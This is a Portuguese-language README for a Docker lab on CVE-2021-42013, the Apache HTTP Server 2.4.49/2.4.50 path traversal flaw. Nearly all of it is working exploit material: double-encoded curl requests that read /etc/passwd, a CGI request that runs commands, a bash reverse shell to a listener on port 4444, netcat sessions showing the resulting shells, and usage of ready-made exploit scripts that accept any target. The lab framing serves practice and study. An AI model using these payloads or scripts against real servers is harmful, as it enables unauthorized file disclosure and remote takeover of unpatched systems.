CVE-2021-42013

Introdução

Foi descoberto que a correção para CVE-2021-41773 no Apache HTTP Server 2.4.50 era insuficiente. Um atacante poderia usar um ataque de path traversal para mapear URLs para arquivos fora dos diretórios configurados por diretivas do tipo Alias. Se arquivos fora desses diretórios não forem protegidos pela configuração padrão habitual "require all denied", essas requisições podem ser bem-sucedidas. Se scripts CGI também estiverem habilitados para esses caminhos de alias, isso poderia permitir execução remota de código. Este problema afeta apenas o Apache 2.4.49 e o Apache 2.4.50, e não as versões anteriores [1].

Laboratório com contêiner Docker para praticar/aprender com CVE-2021-42013

Configuração da vulnerabilidade de divulgação de arquivos:

$ docker build -t apache-default default_conf
$ docker run -dit --name apache-app -p 81:80 apache-default

Prova de Conceito:

$ curl -s --path-as-is "http://172.17.0.2:80/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

usando path_traversal_vuln.py

$ python3 path_traversal_vuln.py -h                                                                         

    >> CVE-2021-42013 - Path Traversal
    >> by twseptian

usage: path_traversal_vuln.py [-h] -t URL -p TARGET_PORT -x PAYLOAD -f FILE_READ

CVE-2021-42013 - Path Traversal

optional arguments:
  -h, --help            show this help message and exit
  -t URL, --target URL  Target IP
  -p TARGET_PORT, --port TARGET_PORT
                        Target port
  -x PAYLOAD, --execute PAYLOAD
                        Path Traversal Payload
  -f FILE_READ, --file FILE_READ
                        File to read

$ python3 path_traversal_vuln.py -t 172.17.0.2 -p 80 -x '.%%32%65/.%%32%65/.%%32%65/.%%32%65' -f /etc/passwd

Path traversal

Configuração da execução remota de código (CGI habilitado):

$ docker build -t apache-cgi cgi_mod_enable
$ docker run -dit --name apache-lab -p 82:80 apache-cgi

Prova de Conceito:

$ curl -s --path-as-is -d "echo Content-Type: text/plain; echo; id" "http://172.17.0.3:80/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh"
uid=1(daemon) gid=1(daemon) groups=1(daemon)

PoC usando bash reverse shell

$ curl -s --path-as-is -d "echo Content-Type: text/plain; echo; bash -i >& /dev/tcp/172.17.0.1/4444 0>&1" "http://172.17.0.3:80/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/bash"

saída do netcat

$ nc -lvnp 4444                                                            
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.3.
Ncat: Connection from 172.17.0.3:35660.
daemon@dcbbed945af7:/bin$ id
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
daemon@dcbbed945af7:/bin$

-usando rce.py

$ python3 rce.py -h

    >> CVE-2021-42013 - Remote Code Execution
    >> by twseptian

usage: rce.py [-h] -t URL -p TARGET_PORT -x PAYLOAD -s SHELL

CVE-2021-42013 - Path Traversal

optional arguments:
  -h, --help            show this help message and exit
  -t URL, --target URL  Target IP
  -p TARGET_PORT, --port TARGET_PORT
                        Target port
  -x PAYLOAD, --execute PAYLOAD
                        Path Traversal Payload
  -s SHELL, --shell SHELL
                        shell

$ python3 rce.py -t 172.17.0.3 -p 80 -x '%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65' -s "/bin/bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'"

listener do netcat

$ nc -lvnp 4444                                                    
listening on [any] 4444 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.3] 41052
daemon@82f07f4b32a8:/bin$

usando rce.py

usando rce2.py

$ python3 rce2.py -h

    >> CVE-2021-42013 - Remote Code Execution
    >> by twseptian

usage: rce2.py [-h] -t URL -p TARGET_PORT -L LOCALHOST -P LOCALPORT -x PAYLOAD

CVE-2021-42013 - Path Traversal

optional arguments:
  -h, --help            show this help message and exit
  -t URL, --target URL  Target IP
  -p TARGET_PORT, --port TARGET_PORT
                        Target port
  -L LOCALHOST, --lh LOCALHOST
                        Localhost/Local IP
  -P LOCALPORT, --lp LOCALPORT
                        Localport
  -x PAYLOAD, --execute PAYLOAD
                        Path Traversal Payload

$ python3 rce2.py -t 172.17.0.3 -p 80 -L 172.17.0.1 -P 4444 -x '.%%32%65/.%%32%65/.%%32%65/.%%32%65'

    >> CVE-2021-42013 - Remote Code Execution
    >> by twseptian

[!] Payload: .%%32%65/.%%32%65/.%%32%65/.%%32%65
[*] Setting up a netcat listener
listening on [any] 4444 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.3] 41122
bash: initialize_job_control: no job control in background: Bad file descriptor
daemon@82f07f4b32a8:/bin$ id
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
daemon@82f07f4b32a8:/bin$

usando rce.py

Referências

cve-2021-42013-docker-lab

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